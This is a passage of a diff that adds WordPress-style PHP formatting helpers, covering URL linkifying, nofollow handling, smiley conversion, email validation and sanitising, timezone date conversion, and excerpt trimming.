+ * @return string HTML A element with URI address.
+ */
+function _make_url_clickable_cb( $matches ) {
+	$url = $matches[2];
+
+	if ( ')' == $matches[3] && strpos( $url, '(' ) ) {
+		// If the trailing character is a closing parethesis, and the URL has an opening parenthesis in it, add the closing parenthesis to the URL.
+		// Then we can let the parenthesis balancer do its thing below.
+		$url .= $matches[3];
+		$suffix = '';
+	} else {
+		$suffix = $matches[3];
+	}
+
+	// Include parentheses in the URL only if paired
+	while ( substr_count( $url, '(' ) < substr_count( $url, ')' ) ) {
+		$suffix = strrchr( $url, ')' ) . $suffix;
+		$url = substr( $url, 0, strrpos( $url, ')' ) );
+	}
+
+	$url = esc_url($url);
+	if ( empty($url) )
+		return $matches[0];
+
+	return $matches[1] . "<a href=\"$url\" rel=\"nofollow\">$url</a>" . $suffix;
+}
+
+/**
+ * Callback to convert URL match to HTML A element.
+ *
+ * This function was backported from 2.5.0 to 2.3.2. Regex callback for make_clickable().
+ *
+ * @since 2.3.2
+ * @access private
+ *
+ * @param array $matches Single Regex Match.
+ * @return string HTML A element with URL address.
+ */
+function _make_web_ftp_clickable_cb( $matches ) {
+	$ret = '';
+	$dest = $matches[2];
+	$dest = 'http://' . $dest;
+
+	// removed trailing [.,;:)] from URL
+	if ( in_array( substr($dest, -1), array('.', ',', ';', ':', ')') ) === true ) {
+		$ret = substr($dest, -1);
+		$dest = substr($dest, 0, strlen($dest)-1);
+	}
+
+	$dest = esc_url($dest);
+	if ( empty($dest) )
+		return $matches[0];
+
+	return $matches[1] . "<a href=\"$dest\" rel=\"nofollow\">$dest</a>$ret";
+}
+
+/**
+ * Callback to convert email address match to HTML A element.
+ *
+ * This function was backported from 2.5.0 to 2.3.2. Regex callback for make_clickable().
+ *
+ * @since 2.3.2
+ * @access private
+ *
+ * @param array $matches Single Regex Match.
+ * @return string HTML A element with email address.
+ */
+function _make_email_clickable_cb( $matches ) {
+	$email = $matches[2] . '@' . $matches[3];
+	return $matches[1] . "<a href=\"mailto:$email\">$email</a>";
+}
+
+/**
+ * Convert plaintext URI to HTML links.
+ *
+ * Converts URI, www and ftp, and email addresses. Finishes by fixing links
+ * within links.
+ *
+ * @since 0.71
+ *
+ * @param string $text Content to convert URIs.
+ * @return string Content with converted URIs.
+ */
+function make_clickable( $text ) {
+	$r = '';
+	$textarr = preg_split( '/(<[^<>]+>)/', $text, -1, PREG_SPLIT_DELIM_CAPTURE ); // split out HTML tags
+	$nested_code_pre = 0; // Keep track of how many levels link is nested inside <pre> or <code>
+	foreach ( $textarr as $piece ) {
+
+		if ( preg_match( '|^<code[\s>]|i', $piece ) || preg_match( '|^<pre[\s>]|i', $piece ) || preg_match( '|^<script[\s>]|i', $piece ) || preg_match( '|^<style[\s>]|i', $piece ) )
+			$nested_code_pre++;
+		elseif ( $nested_code_pre && ( '</code>' === strtolower( $piece ) || '</pre>' === strtolower( $piece ) || '</script>' === strtolower( $piece ) || '</style>' === strtolower( $piece ) ) )
+			$nested_code_pre--;
+
+		if ( $nested_code_pre || empty( $piece ) || ( $piece[0] === '<' && ! preg_match( '|^<\s*[\w]{1,20}+://|', $piece ) ) ) {
+			$r .= $piece;
+			continue;
+		}
+
+		// Long strings might contain expensive edge cases ...
+		if ( 10000 < strlen( $piece ) ) {
+			// ... break it up
+			foreach ( _split_str_by_whitespace( $piece, 2100 ) as $chunk ) { // 2100: Extra room for scheme and leading and trailing paretheses
+				if ( 2101 < strlen( $chunk ) ) {
+					$r .= $chunk; // Too big, no whitespace: bail.
+				} else {
+					$r .= make_clickable( $chunk );
+				}
+			}
+		} else {
+			$ret = " $piece "; // Pad with whitespace to simplify the regexes
+
+			$url_clickable = '~
+				([\\s(<.,;:!?])                                        # 1: Leading whitespace, or punctuation
+				(                                                      # 2: URL
+					[\\w]{1,20}+://                                # Scheme and hier-part prefix
+					(?=\S{1,2000}\s)                               # Limit to URLs less than about 2000 characters long
+					[\\w\\x80-\\xff#%\\~/@\\[\\]*(+=&$-]*+         # Non-punctuation URL character
+					(?:                                            # Unroll the Loop: Only allow puctuation URL character if followed by a non-punctuation URL character
+						[\'.,;:!?)]                            # Punctuation URL character
+						[\\w\\x80-\\xff#%\\~/@\\[\\]*(+=&$-]++ # Non-punctuation URL character
+					)*
+				)
+				(\)?)                                                  # 3: Trailing closing parenthesis (for parethesis balancing post processing)
+			~xS'; // The regex is a non-anchored pattern and does not have a single fixed starting character.
+			      // Tell PCRE to spend more time optimizing since, when used on a page load, it will probably be used several times.
+
+			$ret = preg_replace_callback( $url_clickable, '_make_url_clickable_cb', $ret );
+
+			$ret = preg_replace_callback( '#([\s>])((www|ftp)\.[\w\\x80-\\xff\#$%&~/.\-;:=,?@\[\]+]+)#is', '_make_web_ftp_clickable_cb', $ret );
+			$ret = preg_replace_callback( '#([\s>])([.0-9a-z_+-]+)@(([0-9a-z-]+\.)+[0-9a-z]{2,})#i', '_make_email_clickable_cb', $ret );
+
+			$ret = substr( $ret, 1, -1 ); // Remove our whitespace padding.
+			$r .= $ret;
+		}
+	}
+
+	// Cleanup of accidental links within links
+	return preg_replace( '#(<a([ \r\n\t]+[^>]+?>|>))<a [^>]+?>([^>]+?)</a></a>#i', "$1$3</a>", $r );
+}
+
+/**
+ * Breaks a string into chunks by splitting at whitespace characters.
+ * The length of each returned chunk is as close to the specified length goal as possible,
+ * with the caveat that each chunk includes its trailing delimiter.
+ * Chunks longer than the goal are guaranteed to not have any inner whitespace.
+ *
+ * Joining the returned chunks with empty delimiters reconstructs the input string losslessly.
+ *
+ * Input string must have no null characters (or eventual transformations on output chunks must not care about null characters)
+ *
+ *     _split_str_by_whitespace( "1234 67890 1234 67890a cd 1234   890 123456789 1234567890a    45678   1 3 5 7 90 ", 10 ) ==
+ *     array (
+ *         0 => '1234 67890 ',  // 11 characters: Perfect split
+ *         1 => '1234 ',        //  5 characters: '1234 67890a' was too long
+ *         2 => '67890a cd ',   // 10 characters: '67890a cd 1234' was too long
+ *         3 => '1234   890 ',  // 11 characters: Perfect split
+ *         4 => '123456789 ',   // 10 characters: '123456789 1234567890a' was too long
+ *         5 => '1234567890a ', // 12 characters: Too long, but no inner whitespace on which to split
+ *         6 => '   45678   ',  // 11 characters: Perfect split
+ *         7 => '1 3 5 7 90 ',  // 11 characters: End of $string
+ *     );
+ *
+ * @since 3.4.0
+ * @access private
+ *
+ * @param string $string The string to split.
+ * @param int    $goal   The desired chunk length.
+ * @return array Numeric array of chunks.
+ */
+function _split_str_by_whitespace( $string, $goal ) {
+	$chunks = array();
+
+	$string_nullspace = strtr( $string, "\r\n\t\v\f ", "\000\000\000\000\000\000" );
+
+	while ( $goal < strlen( $string_nullspace ) ) {
+		$pos = strrpos( substr( $string_nullspace, 0, $goal + 1 ), "\000" );
+
+		if ( false === $pos ) {
+			$pos = strpos( $string_nullspace, "\000", $goal + 1 );
+			if ( false === $pos ) {
+				break;
+			}
+		}
+
+		$chunks[] = substr( $string, 0, $pos + 1 );
+		$string = substr( $string, $pos + 1 );
+		$string_nullspace = substr( $string_nullspace, $pos + 1 );
+	}
+
+	if ( $string ) {
+		$chunks[] = $string;
+	}
+
+	return $chunks;
+}
+
+/**
+ * Adds rel nofollow string to all HTML A elements in content.
+ *
+ * @since 1.5.0
+ *
+ * @param string $text Content that may contain HTML A elements.
+ * @return string Converted content.
+ */
+function wp_rel_nofollow( $text ) {
+	// This is a pre save filter, so text is already escaped.
+	$text = stripslashes($text);
+	$text = preg_replace_callback('|<a (.+?)>|i', 'wp_rel_nofollow_callback', $text);
+	return wp_slash( $text );
+}
+
+/**
+ * Callback to add rel=nofollow string to HTML A element.
+ *
+ * Will remove already existing rel="nofollow" and rel='nofollow' from the
+ * string to prevent from invalidating (X)HTML.
+ *
+ * @since 2.3.0
+ *
+ * @param array $matches Single Match
+ * @return string HTML A Element with rel nofollow.
+ */
+function wp_rel_nofollow_callback( $matches ) {
+	$text = $matches[1];
+	$atts = wp_kses_hair( $matches[1], wp_allowed_protocols() );
+	$rel  = 'nofollow';
+
+	if ( ! empty( $atts['href'] ) ) {
+		if ( in_array( strtolower( wp_parse_url( $atts['href']['value'], PHP_URL_SCHEME ) ), array( 'http', 'https' ), true ) ) {
+			if ( strtolower( wp_parse_url( $atts['href']['value'], PHP_URL_HOST ) ) === strtolower( wp_parse_url( home_url(), PHP_URL_HOST ) ) ) {
+				return "<a $text>";
+			}
+		}
+	}
+
+	if ( ! empty( $atts['rel'] ) ) {
+		$parts = array_map( 'trim', explode( ' ', $atts['rel']['value'] ) );
+		if ( false === array_search( 'nofollow', $parts ) ) {
+			$parts[] = 'nofollow';
+		}
+		$rel = implode( ' ', $parts );
+		unset( $atts['rel'] );
+
+		$html = '';
+		foreach ( $atts as $name => $value ) {
+			if ( isset( $value['vless'] ) && 'y' === $value['vless'] ) {
+				$html .= $name . ' ';
+			} else {
+				$html .= "{$name}=\"" . esc_attr( $value['value'] ) . '" ';
+			}
+		}
+		$text = trim( $html );
+	}
+	return "<a $text rel=\"" . esc_attr( $rel ) . "\">";
+}
+
+/**
+ * Convert one smiley code to the icon graphic file equivalent.
+ *
+ * Callback handler for convert_smilies().
+ *
+ * Looks up one smiley code in the $wpsmiliestrans global array and returns an
+ * `<img>` string for that smiley.
+ *
+ * @since 2.8.0
+ *
+ * @global array $wpsmiliestrans
+ *
+ * @param array $matches Single match. Smiley code to convert to image.
+ * @return string Image string for smiley.
+ */
+function translate_smiley( $matches ) {
+	global $wpsmiliestrans;
+
+	if ( count( $matches ) == 0 )
+		return '';
+
+	$smiley = trim( reset( $matches ) );
+	$img = $wpsmiliestrans[ $smiley ];
+
+	$matches = array();
+	$ext = preg_match( '/\.([^.]+)$/', $img, $matches ) ? strtolower( $matches[1] ) : false;
+	$image_exts = array( 'jpg', 'jpeg', 'jpe', 'gif', 'png' );
+
+	// Don't convert smilies that aren't images - they're probably emoji.
+	if ( ! in_array( $ext, $image_exts ) ) {
+		return $img;
+	}
+
+	/**
+	 * Filters the Smiley image URL before it's used in the image element.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param string $smiley_url URL for the smiley image.
+	 * @param string $img        Filename for the smiley image.
+	 * @param string $site_url   Site URL, as returned by site_url().
+	 */
+	$src_url = apply_filters( 'smilies_src', includes_url( "images/smilies/$img" ), $img, site_url() );
+
+	return sprintf( '<img src="%s" alt="%s" class="wp-smiley" style="height: 1em; max-height: 1em;" />', esc_url( $src_url ), esc_attr( $smiley ) );
+}
+
+/**
+ * Convert text equivalent of smilies to images.
+ *
+ * Will only convert smilies if the option 'use_smilies' is true and the global
+ * used in the function isn't empty.
+ *
+ * @since 0.71
+ *
+ * @global string|array $wp_smiliessearch
+ *
+ * @param string $text Content to convert smilies from text.
+ * @return string Converted content with text smilies replaced with images.
+ */
+function convert_smilies( $text ) {
+	global $wp_smiliessearch;
+	$output = '';
+	if ( get_option( 'use_smilies' ) && ! empty( $wp_smiliessearch ) ) {
+		// HTML loop taken from texturize function, could possible be consolidated
+		$textarr = preg_split( '/(<.*>)/U', $text, -1, PREG_SPLIT_DELIM_CAPTURE ); // capture the tags as well as in between
+		$stop = count( $textarr );// loop stuff
+
+		// Ignore proessing of specific tags
+		$tags_to_ignore = 'code|pre|style|script|textarea';
+		$ignore_block_element = '';
+
+		for ( $i = 0; $i < $stop; $i++ ) {
+			$content = $textarr[$i];
+
+			// If we're in an ignore block, wait until we find its closing tag
+			if ( '' == $ignore_block_element && preg_match( '/^<(' . $tags_to_ignore . ')>/', $content, $matches ) )  {
+				$ignore_block_element = $matches[1];
+			}
+
+			// If it's not a tag and not in ignore block
+			if ( '' ==  $ignore_block_element && strlen( $content ) > 0 && '<' != $content[0] ) {
+				$content = preg_replace_callback( $wp_smiliessearch, 'translate_smiley', $content );
+			}
+
+			// did we exit ignore block
+			if ( '' != $ignore_block_element && '</' . $ignore_block_element . '>' == $content )  {
+				$ignore_block_element = '';
+			}
+
+			$output .= $content;
+		}
+	} else {
+		// return default text.
+		$output = $text;
+	}
+	return $output;
+}
+
+/**
+ * Verifies that an email is valid.
+ *
+ * Does not grok i18n domains. Not RFC compliant.
+ *
+ * @since 0.71
+ *
+ * @param string $email      Email address to verify.
+ * @param bool   $deprecated Deprecated.
+ * @return string|bool Either false or the valid email address.
+ */
+function is_email( $email, $deprecated = false ) {
+	if ( ! empty( $deprecated ) )
+		_deprecated_argument( __FUNCTION__, '3.0.0' );
+
+	// Test for the minimum length the email can be
+	if ( strlen( $email ) < 6 ) {
+		/**
+		 * Filters whether an email address is valid.
+		 *
+		 * This filter is evaluated under several different contexts, such as 'email_too_short',
+		 * 'email_no_at', 'local_invalid_chars', 'domain_period_sequence', 'domain_period_limits',
+		 * 'domain_no_periods', 'sub_hyphen_limits', 'sub_invalid_chars', or no specific context.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param bool   $is_email Whether the email address has passed the is_email() checks. Default false.
+		 * @param string $email    The email address being checked.
+		 * @param string $context  Context under which the email was tested.
+		 */
+		return apply_filters( 'is_email', false, $email, 'email_too_short' );
+	}
+
+	// Test for an @ character after the first position
+	if ( strpos( $email, '@', 1 ) === false ) {
+		/** This filter is documented in wp-includes/formatting.php */
+		return apply_filters( 'is_email', false, $email, 'email_no_at' );
+	}
+
+	// Split out the local and domain parts
+	list( $local, $domain ) = explode( '@', $email, 2 );
+
+	// LOCAL PART
+	// Test for invalid characters
+	if ( !preg_match( '/^[a-zA-Z0-9!#$%&\'*+\/=?^_`{|}~\.-]+$/', $local ) ) {
+		/** This filter is documented in wp-includes/formatting.php */
+		return apply_filters( 'is_email', false, $email, 'local_invalid_chars' );
+	}
+
+	// DOMAIN PART
+	// Test for sequences of periods
+	if ( preg_match( '/\.{2,}/', $domain ) ) {
+		/** This filter is documented in wp-includes/formatting.php */
+		return apply_filters( 'is_email', false, $email, 'domain_period_sequence' );
+	}
+
+	// Test for leading and trailing periods and whitespace
+	if ( trim( $domain, " \t\n\r\0\x0B." ) !== $domain ) {
+		/** This filter is documented in wp-includes/formatting.php */
+		return apply_filters( 'is_email', false, $email, 'domain_period_limits' );
+	}
+
+	// Split the domain into subs
+	$subs = explode( '.', $domain );
+
+	// Assume the domain will have at least two subs
+	if ( 2 > count( $subs ) ) {
+		/** This filter is documented in wp-includes/formatting.php */
+		return apply_filters( 'is_email', false, $email, 'domain_no_periods' );
+	}
+
+	// Loop through each sub
+	foreach ( $subs as $sub ) {
+		// Test for leading and trailing hyphens and whitespace
+		if ( trim( $sub, " \t\n\r\0\x0B-" ) !== $sub ) {
+			/** This filter is documented in wp-includes/formatting.php */
+			return apply_filters( 'is_email', false, $email, 'sub_hyphen_limits' );
+		}
+
+		// Test for invalid characters
+		if ( !preg_match('/^[a-z0-9-]+$/i', $sub ) ) {
+			/** This filter is documented in wp-includes/formatting.php */
+			return apply_filters( 'is_email', false, $email, 'sub_invalid_chars' );
+		}
+	}
+
+	// Congratulations your email made it!
+	/** This filter is documented in wp-includes/formatting.php */
+	return apply_filters( 'is_email', $email, $email, null );
+}
+
+/**
+ * Convert to ASCII from email subjects.
+ *
+ * @since 1.2.0
+ *
+ * @param string $string Subject line
+ * @return string Converted string to ASCII
+ */
+function wp_iso_descrambler( $string ) {
+	/* this may only work with iso-8859-1, I'm afraid */
+	if (!preg_match('#\=\?(.+)\?Q\?(.+)\?\=#i', $string, $matches)) {
+		return $string;
+	} else {
+		$subject = str_replace('_', ' ', $matches[2]);
+		return preg_replace_callback( '#\=([0-9a-f]{2})#i', '_wp_iso_convert', $subject );
+	}
+}
+
+/**
+ * Helper function to convert hex encoded chars to ASCII
+ *
+ * @since 3.1.0
+ * @access private
+ *
+ * @param array $match The preg_replace_callback matches array
+ * @return string Converted chars
+ */
+function _wp_iso_convert( $match ) {
+	return chr( hexdec( strtolower( $match[1] ) ) );
+}
+
+/**
+ * Returns a date in the GMT equivalent.
+ *
+ * Requires and returns a date in the Y-m-d H:i:s format. If there is a
+ * timezone_string available, the date is assumed to be in that timezone,
+ * otherwise it simply subtracts the value of the 'gmt_offset' option. Return
+ * format can be overridden using the $format parameter.
+ *
+ * @since 1.2.0
+ *
+ * @param string $string The date to be converted.
+ * @param string $format The format string for the returned date (default is Y-m-d H:i:s)
+ * @return string GMT version of the date provided.
+ */
+function get_gmt_from_date( $string, $format = 'Y-m-d H:i:s' ) {
+	$tz = get_option( 'timezone_string' );
+	if ( $tz ) {
+		$datetime = date_create( $string, new DateTimeZone( $tz ) );
+		if ( ! $datetime ) {
+			return gmdate( $format, 0 );
+		}
+		$datetime->setTimezone( new DateTimeZone( 'UTC' ) );
+		$string_gmt = $datetime->format( $format );
+	} else {
+		if ( ! preg_match( '#([0-9]{1,4})-([0-9]{1,2})-([0-9]{1,2}) ([0-9]{1,2}):([0-9]{1,2}):([0-9]{1,2})#', $string, $matches ) ) {
+			$datetime = strtotime( $string );
+			if ( false === $datetime ) {
+				return gmdate( $format, 0 );
+			}
+			return gmdate( $format, $datetime );
+		}
+		$string_time = gmmktime( $matches[4], $matches[5], $matches[6], $matches[2], $matches[3], $matches[1] );
+		$string_gmt = gmdate( $format, $string_time - get_option( 'gmt_offset' ) * HOUR_IN_SECONDS );
+	}
+	return $string_gmt;
+}
+
+/**
+ * Converts a GMT date into the correct format for the blog.
+ *
+ * Requires and returns a date in the Y-m-d H:i:s format. If there is a
+ * timezone_string available, the returned date is in that timezone, otherwise
+ * it simply adds the value of gmt_offset. Return format can be overridden
+ * using the $format parameter
+ *
+ * @since 1.2.0
+ *
+ * @param string $string The date to be converted.
+ * @param string $format The format string for the returned date (default is Y-m-d H:i:s)
+ * @return string Formatted date relative to the timezone / GMT offset.
+ */
+function get_date_from_gmt( $string, $format = 'Y-m-d H:i:s' ) {
+	$tz = get_option( 'timezone_string' );
+	if ( $tz ) {
+		$datetime = date_create( $string, new DateTimeZone( 'UTC' ) );
+		if ( ! $datetime )
+			return date( $format, 0 );
+		$datetime->setTimezone( new DateTimeZone( $tz ) );
+		$string_localtime = $datetime->format( $format );
+	} else {
+		if ( ! preg_match('#([0-9]{1,4})-([0-9]{1,2})-([0-9]{1,2}) ([0-9]{1,2}):([0-9]{1,2}):([0-9]{1,2})#', $string, $matches) )
+			return date( $format, 0 );
+		$string_time = gmmktime( $matches[4], $matches[5], $matches[6], $matches[2], $matches[3], $matches[1] );
+		$string_localtime = gmdate( $format, $string_time + get_option( 'gmt_offset' ) * HOUR_IN_SECONDS );
+	}
+	return $string_localtime;
+}
+
+/**
+ * Computes an offset in seconds from an iso8601 timezone.
+ *
+ * @since 1.5.0
+ *
+ * @param string $timezone Either 'Z' for 0 offset or '±hhmm'.
+ * @return int|float The offset in seconds.
+ */
+function iso8601_timezone_to_offset( $timezone ) {
+	// $timezone is either 'Z' or '[+|-]hhmm'
+	if ($timezone == 'Z') {
+		$offset = 0;
+	} else {
+		$sign    = (substr($timezone, 0, 1) == '+') ? 1 : -1;
+		$hours   = intval(substr($timezone, 1, 2));
+		$minutes = intval(substr($timezone, 3, 4)) / 60;
+		$offset  = $sign * HOUR_IN_SECONDS * ($hours + $minutes);
+	}
+	return $offset;
+}
+
+/**
+ * Converts an iso8601 date to MySQL DateTime format used by post_date[_gmt].
+ *
+ * @since 1.5.0
+ *
+ * @param string $date_string Date and time in ISO 8601 format {@link https://en.wikipedia.org/wiki/ISO_8601}.
+ * @param string $timezone    Optional. If set to GMT returns the time minus gmt_offset. Default is 'user'.
+ * @return string The date and time in MySQL DateTime format - Y-m-d H:i:s.
+ */
+function iso8601_to_datetime( $date_string, $timezone = 'user' ) {
+	$timezone = strtolower($timezone);
+
+	if ($timezone == 'gmt') {
+
+		preg_match('#([0-9]{4})([0-9]{2})([0-9]{2})T([0-9]{2}):([0-9]{2}):([0-9]{2})(Z|[\+|\-][0-9]{2,4}){0,1}#', $date_string, $date_bits);
+
+		if (!empty($date_bits[7])) { // we have a timezone, so let's compute an offset
+			$offset = iso8601_timezone_to_offset($date_bits[7]);
+		} else { // we don't have a timezone, so we assume user local timezone (not server's!)
+			$offset = HOUR_IN_SECONDS * get_option('gmt_offset');
+		}
+
+		$timestamp = gmmktime($date_bits[4], $date_bits[5], $date_bits[6], $date_bits[2], $date_bits[3], $date_bits[1]);
+		$timestamp -= $offset;
+
+		return gmdate('Y-m-d H:i:s', $timestamp);
+
+	} elseif ($timezone == 'user') {
+		return preg_replace('#([0-9]{4})([0-9]{2})([0-9]{2})T([0-9]{2}):([0-9]{2}):([0-9]{2})(Z|[\+|\-][0-9]{2,4}){0,1}#', '$1-$2-$3 $4:$5:$6', $date_string);
+	}
+}
+
+/**
+ * Strips out all characters that are not allowable in an email.
+ *
+ * @since 1.5.0
+ *
+ * @param string $email Email address to filter.
+ * @return string Filtered email address.
+ */
+function sanitize_email( $email ) {
+	// Test for the minimum length the email can be
+	if ( strlen( $email ) < 6 ) {
+		/**
+		 * Filters a sanitized email address.
+		 *
+		 * This filter is evaluated under several contexts, including 'email_too_short',
+		 * 'email_no_at', 'local_invalid_chars', 'domain_period_sequence', 'domain_period_limits',
+		 * 'domain_no_periods', 'domain_no_valid_subs', or no context.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param string $email   The sanitized email address.
+		 * @param string $email   The email address, as provided to sanitize_email().
+		 * @param string $message A message to pass to the user.
+		 */
+		return apply_filters( 'sanitize_email', '', $email, 'email_too_short' );
+	}
+
+	// Test for an @ character after the first position
+	if ( strpos( $email, '@', 1 ) === false ) {
+		/** This filter is documented in wp-includes/formatting.php */
+		return apply_filters( 'sanitize_email', '', $email, 'email_no_at' );
+	}
+
+	// Split out the local and domain parts
+	list( $local, $domain ) = explode( '@', $email, 2 );
+
+	// LOCAL PART
+	// Test for invalid characters
+	$local = preg_replace( '/[^a-zA-Z0-9!#$%&\'*+\/=?^_`{|}~\.-]/', '', $local );
+	if ( '' === $local ) {
+		/** This filter is documented in wp-includes/formatting.php */
+		return apply_filters( 'sanitize_email', '', $email, 'local_invalid_chars' );
+	}
+
+	// DOMAIN PART
+	// Test for sequences of periods
+	$domain = preg_replace( '/\.{2,}/', '', $domain );
+	if ( '' === $domain ) {
+		/** This filter is documented in wp-includes/formatting.php */
+		return apply_filters( 'sanitize_email', '', $email, 'domain_period_sequence' );
+	}
+
+	// Test for leading and trailing periods and whitespace
+	$domain = trim( $domain, " \t\n\r\0\x0B." );
+	if ( '' === $domain ) {
+		/** This filter is documented in wp-includes/formatting.php */
+		return apply_filters( 'sanitize_email', '', $email, 'domain_period_limits' );
+	}
+
+	// Split the domain into subs
+	$subs = explode( '.', $domain );
+
+	// Assume the domain will have at least two subs
+	if ( 2 > count( $subs ) ) {
+		/** This filter is documented in wp-includes/formatting.php */
+		return apply_filters( 'sanitize_email', '', $email, 'domain_no_periods' );
+	}
+
+	// Create an array that will contain valid subs
+	$new_subs = array();
+
+	// Loop through each sub
+	foreach ( $subs as $sub ) {
+		// Test for leading and trailing hyphens
+		$sub = trim( $sub, " \t\n\r\0\x0B-" );
+
+		// Test for invalid characters
+		$sub = preg_replace( '/[^a-z0-9-]+/i', '', $sub );
+
+		// If there's anything left, add it to the valid subs
+		if ( '' !== $sub ) {
+			$new_subs[] = $sub;
+		}
+	}
+
+	// If there aren't 2 or more valid subs
+	if ( 2 > count( $new_subs ) ) {
+		/** This filter is documented in wp-includes/formatting.php */
+		return apply_filters( 'sanitize_email', '', $email, 'domain_no_valid_subs' );
+	}
+
+	// Join valid subs into the new domain
+	$domain = join( '.', $new_subs );
+
+	// Put the email back together
+	$email = $local . '@' . $domain;
+
+	// Congratulations your email made it!
+	/** This filter is documented in wp-includes/formatting.php */
+	return apply_filters( 'sanitize_email', $email, $email, null );
+}
+
+/**
+ * Determines the difference between two timestamps.
+ *
+ * The difference is returned in a human readable format such as "1 hour",
+ * "5 mins", "2 days".
+ *
+ * @since 1.5.0
+ *
+ * @param int $from Unix timestamp from which the difference begins.
+ * @param int $to   Optional. Unix timestamp to end the time difference. Default becomes time() if not set.
+ * @return string Human readable time difference.
+ */
+function human_time_diff( $from, $to = '' ) {
+	if ( empty( $to ) ) {
+		$to = time();
+	}
+
+	$diff = (int) abs( $to - $from );
+
+	if ( $diff < HOUR_IN_SECONDS ) {
+		$mins = round( $diff / MINUTE_IN_SECONDS );
+		if ( $mins <= 1 )
+			$mins = 1;
+		/* translators: Time difference between two dates, in minutes (min=minute). 1: Number of minutes */
+		$since = sprintf( _n( '%s min', '%s mins', $mins ), $mins );
+	} elseif ( $diff < DAY_IN_SECONDS && $diff >= HOUR_IN_SECONDS ) {
+		$hours = round( $diff / HOUR_IN_SECONDS );
+		if ( $hours <= 1 )
+			$hours = 1;
+		/* translators: Time difference between two dates, in hours. 1: Number of hours */
+		$since = sprintf( _n( '%s hour', '%s hours', $hours ), $hours );
+	} elseif ( $diff < WEEK_IN_SECONDS && $diff >= DAY_IN_SECONDS ) {
+		$days = round( $diff / DAY_IN_SECONDS );
+		if ( $days <= 1 )
+			$days = 1;
+		/* translators: Time difference between two dates, in days. 1: Number of days */
+		$since = sprintf( _n( '%s day', '%s days', $days ), $days );
+	} elseif ( $diff < MONTH_IN_SECONDS && $diff >= WEEK_IN_SECONDS ) {
+		$weeks = round( $diff / WEEK_IN_SECONDS );
+		if ( $weeks <= 1 )
+			$weeks = 1;
+		/* translators: Time difference between two dates, in weeks. 1: Number of weeks */
+		$since = sprintf( _n( '%s week', '%s weeks', $weeks ), $weeks );
+	} elseif ( $diff < YEAR_IN_SECONDS && $diff >= MONTH_IN_SECONDS ) {
+		$months = round( $diff / MONTH_IN_SECONDS );
+		if ( $months <= 1 )
+			$months = 1;
+		/* translators: Time difference between two dates, in months. 1: Number of months */
+		$since = sprintf( _n( '%s month', '%s months', $months ), $months );
+	} elseif ( $diff >= YEAR_IN_SECONDS ) {
+		$years = round( $diff / YEAR_IN_SECONDS );
+		if ( $years <= 1 )
+			$years = 1;
+		/* translators: Time difference between two dates, in years. 1: Number of years */
+		$since = sprintf( _n( '%s year', '%s years', $years ), $years );
+	}
+
+	/**
+	 * Filters the human readable difference between two timestamps.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param string $since The difference in human readable text.
+	 * @param int    $diff  The difference in seconds.
+	 * @param int    $from  Unix timestamp from which the difference begins.
+	 * @param int    $to    Unix timestamp to end the time difference.
+	 */
+	return apply_filters( 'human_time_diff', $since, $diff, $from, $to );
+}
+
+/**
+ * Generates an excerpt from the content, if needed.
+ *
+ * The excerpt word amount will be 55 words and if the amount is greater than
+ * that, then the string ' [&hellip;]' will be appended to the excerpt. If the string
+ * is less than 55 words, then the content will be returned as is.
+ *
+ * The 55 word limit can be modified by plugins/themes using the {@see 'excerpt_length'} filter
+ * The ' [&hellip;]' string can be modified by plugins/themes using the {@see 'excerpt_more'} filter
+ *
+ * @since 1.5.0
+ *
+ * @param string $text Optional. The excerpt. If set to empty, an excerpt is generated.
+ * @return string The excerpt.
+ */
+function wp_trim_excerpt( $text = '' ) {
+	$raw_excerpt = $text;
+	if ( '' == $text ) {
+		$text = get_the_content('');
+
+		$text = strip_shortcodes( $text );
+		$text = excerpt_remove_blocks( $text );
+
+		/** This filter is documented in wp-includes/post-template.php */
+		$text = apply_filters( 'the_content', $text );
+		$text = str_replace(']]>', ']]&gt;', $text);
+
+		/**
+		 * Filters the number of words in an excerpt.
+		 *
+		 * @since 2.7.0
+		 *
+		 * @param int $number The number of words. Default 55.
+		 */
+		$excerpt_length = apply_filters( 'excerpt_length', 55 );
+		/**
+		 * Filters the string in the "more" link displayed after a trimmed excerpt.
+		 *
+		 * @since 2.9.0
+		 *
+		 * @param string $more_string The string shown within the more link.
+		 */
+		$excerpt_more = apply_filters( 'excerpt_more', ' ' . '[&hellip;]' );
+		$text = wp_trim_words( $text, $excerpt_length, $excerpt_more );
+	}
+	/**
+	 * Filters the trimmed excerpt string.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $text        The trimmed text.
+	 * @param string $raw_excerpt The text prior to trimming.
+	 */
+	return apply_filters( 'wp_trim_excerpt', $text, $raw_excerpt );
+}
+
+/**
+ * Trims text to a certain number of words.
+ *
+ * This function is localized. For languages that count 'words' by the individual
+ * character (such as East Asian languages), the $num_words argument will apply
+ * to the number of individual characters.
+ *
+ * @since 3.3.0
+ *
+ * @param string $text      Text to trim.
+ * @param int    $num_words Number of words. Default 55.
+ * @param string $more      Optional. What to append if $text needs to be trimmed. Default '&hellip;'.
+ * @return string Trimmed text.
+ */
+function wp_trim_words( $text, $num_words = 55, $more = null ) {
+	if ( null === $more ) {
+		$more = __( '&hellip;' );
+	}
+
+	$original_text = $text;
+	$text = wp_strip_all_tags( $text );
+
+	/*
+	 * translators: If your word count is based on single characters (e.g. East Asian characters),
+	 * enter 'characters_excluding_spaces' or 'characters_including_spaces'. Otherwise, enter 'words'.
+	 * Do not translate into your own language.
+	 */
+	if ( strpos( _x( 'words', 'Word count type. Do not translate!' ), 'characters' ) === 0 && preg_match( '/^utf\-?8$/i', get_option( 'blog_charset' ) ) ) {
+		$text = trim( preg_replace( "/[\n\r\t ]+/", ' ', $text ), ' ' );
+		preg_match_all( '/./u', $text, $words_array );
+		$words_array = array_slice( $words_array[0], 0, $num_words + 1 );
+		$sep = '';
+	} else {
+		$words_array = preg_split( "/[\n\r\t ]+/", $text, $num_words + 1, PREG_SPLIT_NO_EMPTY );
+		$sep = ' ';
+	}
+
+	if ( count( $words_array ) > $num_words ) {
+		array_pop( $words_array );
+		$text = implode( $sep, $words_array );
+		$text = $text . $more;
+	} else {
+		$text = implode( $sep, $words_array );
+	}
+
+	/**
+	 * Filters the text content after words have been trimmed.
+	 *
+	 * @since 3.3.0
+	 *
+	 * @param string $text          The trimmed text.
+	 * @param int    $num_words     The number of words to trim the text to. Default 55.
